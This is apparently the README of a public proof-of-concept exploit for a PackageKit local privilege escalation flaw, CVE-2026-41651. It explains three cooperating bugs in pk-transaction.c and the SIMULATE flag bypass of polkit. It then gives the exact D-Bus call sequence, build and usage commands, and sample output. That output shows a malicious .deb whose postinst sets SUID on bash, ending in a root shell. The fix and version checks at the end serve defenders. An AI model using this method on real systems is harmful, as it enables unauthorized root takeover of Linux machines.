Share
## https://sploitus.com/exploit?id=A702F200-28D8-5BE1-A7FB-F5A36FA7E0FA
# CVE-2026-41651 โ€” PackageKit Local Privilege Escalation

> **pack2theroot** โ€” TOCTOU race condition in PackageKit's transaction handler allowing any local unprivileged user to install arbitrary packages as root without authentication.

![Platform](https://img.shields.io/badge/platform-Linux-blue)
![Language](https://img.shields.io/badge/language-C-lightgrey)
![CVSS](https://img.shields.io/badge/CVSS-8.8%20High-red)
![Status](https://img.shields.io/badge/status-patched%20in%201.3.5-green)

---

## Overview

| Field | Value |
|-------|-------|
| **CVE** | CVE-2026-41651 |
| **Component** | PackageKit daemon (`packagekitd`) |
| **Affected versions** | 1.0.2 โ€“ 1.3.4 |
| **Fixed in** | 1.3.5 |
| **Impact** | Local Privilege Escalation โ†’ root |
| **Auth required** | None |
| **User interaction** | None |
| **Tested on** | Ubuntu 24.04, Debian 12 |

---

## Vulnerability

Three cooperating bugs in `src/pk-transaction.c` create a TOCTOU window between authorization and execution of a PackageKit transaction.

### Bug 1 โ€” Unconditional flag overwrite (line 4036)

`InstallFiles()` writes the caller-supplied flags directly to `transaction->cached_transaction_flags` with no check on the current transaction state:

```c
/* save so we can run later */
transaction->cached_transaction_flags = transaction_flags;   // โ† BUG 1
transaction->cached_full_paths = g_strdupv (full_paths);
```

### Bug 2 โ€” Silent state-transition rejection (lines 876โ€“881)

`pk_transaction_set_state()` rejects backward transitions silently, leaving the corrupted flags untouched:

```c
if (transaction->state != PK_TRANSACTION_STATE_UNKNOWN &&
    transaction->state > state) {
    g_warning ("cannot set %s, as already %s", ...);
    return;   // โ† BUG 2 โ€” returns without error, flags already overwritten
}
```

### Bug 3 โ€” Late flag read (lines 2273โ€“2277)

`pk_transaction_run()` reads `cached_transaction_flags` at **dispatch time**, not at authorization time:

```c
case PK_ROLE_ENUM_INSTALL_FILES:
    pk_backend_install_files (transaction->backend,
                              transaction->job,
                              transaction->cached_transaction_flags,  // โ† BUG 3
                              transaction->cached_full_paths);
    break;
```

### Bonus โ€” SIMULATE bypasses polkit (lines 2893โ€“2900)

When `PK_TRANSACTION_FLAG_SIMULATE` is set, `pk_transaction_obtain_authorization()` skips the polkit check entirely and transitions directly to `READY`:

```c
if (pk_bitfield_contain (transaction->cached_transaction_flags,
                         PK_TRANSACTION_FLAG_ENUM_SIMULATE) || ...) {
    g_debug ("No authentication required");
    pk_transaction_set_state (transaction, PK_TRANSACTION_STATE_READY);
    return TRUE;   // โ† no polkit, no password
}
```

---

## Exploit Flow

```
Attacker                         PackageKit daemon
   โ”‚                                     โ”‚
   โ”‚  CreateTransaction()                โ”‚
   โ”‚โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ–บโ”‚  state = NEW
   โ”‚โ—„โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”‚
   โ”‚                                     โ”‚
   โ”‚  InstallFiles(SIMULATE, dummy.deb)  โ”‚
   โ”‚โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ–บโ”‚  SIMULATE โ†’ polkit bypassed
   โ”‚โ—„โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”‚  state = READY
   โ”‚  (reply received)                   โ”‚  g_idle_add(run_idle_cb) โ† queued
   โ”‚                                     โ”‚
   โ”‚  InstallFiles(NONE, payload.deb)    โ”‚  [BUG 1] overwrite flags + paths
   โ”‚โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ–บโ”‚  [BUG 2] set_state(WAITING_FOR_AUTH)
   โ”‚โ—„โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”‚          silently rejected
   โ”‚  (reply received)                   โ”‚          state stays READY
   โ”‚                                     โ”‚
   โ”‚                         [GLib idle fires]
   โ”‚                                     โ”‚  pk_transaction_run()
   โ”‚                                     โ”‚  [BUG 3] reads NONE + payload.deb
   โ”‚                                     โ”‚  โ†’ dpkg installs payload as root
   โ”‚                                     โ”‚  โ†’ postinst: chmod +s /bin/bash
   โ”‚                                     โ”‚
   โ”‚  execv("/tmp/.suid_bash", "-p")     โ”‚
   โ”‚โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ–บ  โ”‚
   โ”‚                    # whoami: root   โ”‚
```

The attack is **fully deterministic** โ€” no race to win. The GLib idle callback fires only after all pending D-Bus I/O is processed, so the second `InstallFiles` call is guaranteed to overwrite the flags before dispatch.

---

## Build

**Dependencies:** GLib/GIO development headers (`libglib2.0-dev` on Debian/Ubuntu)

```bash
sudo apt install libglib2.0-dev
make
```

The exploit has **no other external dependencies** โ€” the malicious `.deb` is assembled in pure C at runtime (ar archive + stored gzip + ustar tar).

---

## Usage

```bash
./cve-2026-41651
```

On success the exploit drops a SUID copy of bash at `/tmp/.suid_bash` and immediately executes it:

```
โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
 CVE-2026-41651 โ€” PackageKit TOCTOU LPE
โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
[*] Distro type   : Debian/Ubuntu (.deb)
[*] Building packages (pure C)...
[+] dummy   : /tmp/.pk-dummy-1234.deb
[+] payload : /tmp/.pk-payload-1234.deb
[*] Transaction   : /org/freedesktop/PackageKit/Transaction/1_daa3f4_0
[*] Step 1 : InstallFiles(SIMULATE=0x2, dummy)
[*] Step 2 : InstallFiles(NONE=0x0, payload)
[*] Waiting for dispatch (30 s max)...
[*] Finished (exit=1, 843 ms)

[+] SUCCESS โ€” root shell via /tmp/.suid_bash -p

bash-5.2# whoami
root
```

---

## Detection

On PackageKit โ‰ฅ 1.3.5 the second call is rejected immediately:

```
[-] Target is PATCHED (PackageKit >= 1.3.5)
```

The fix adds a single state guard in `pk_transaction_method_call()` before any action method is dispatched:

```c
if (transaction->state != PK_TRANSACTION_STATE_NEW) {
    g_dbus_method_invocation_return_error (invocation,
        PK_TRANSACTION_ERROR, PK_TRANSACTION_ERROR_INVALID_STATE,
        "cannot call %s on transaction %s: already in state %s",
        method_name, transaction->tid,
        pk_transaction_state_to_string (transaction->state));
    return;
}
```

To check if your system is vulnerable:

```bash
pkcon --version          # check version
systemctl status packagekit
journalctl -u packagekit --since '5 min ago'
```

---

## References

- [NVD โ€” CVE-2026-41651](https://nvd.nist.gov/vuln/detail/CVE-2026-41651)
- [GitHub Advisory โ€” GHSA-f55j-vvr9-69xv](https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv)
- [Telekom Security โ€” pack2theroot](https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html)
- [Fix commit โ€” 76cfb675](https://github.com/PackageKit/PackageKit/commit/76cfb675fb31acc3ad5595d4380bfff56d2a8697)
- [OSS-Security announcement](https://lists.freedesktop.org/archives/packagekit/2026-April/026513.html)

---

## Disclaimer

This PoC is provided for educational purposes and authorized security testing only.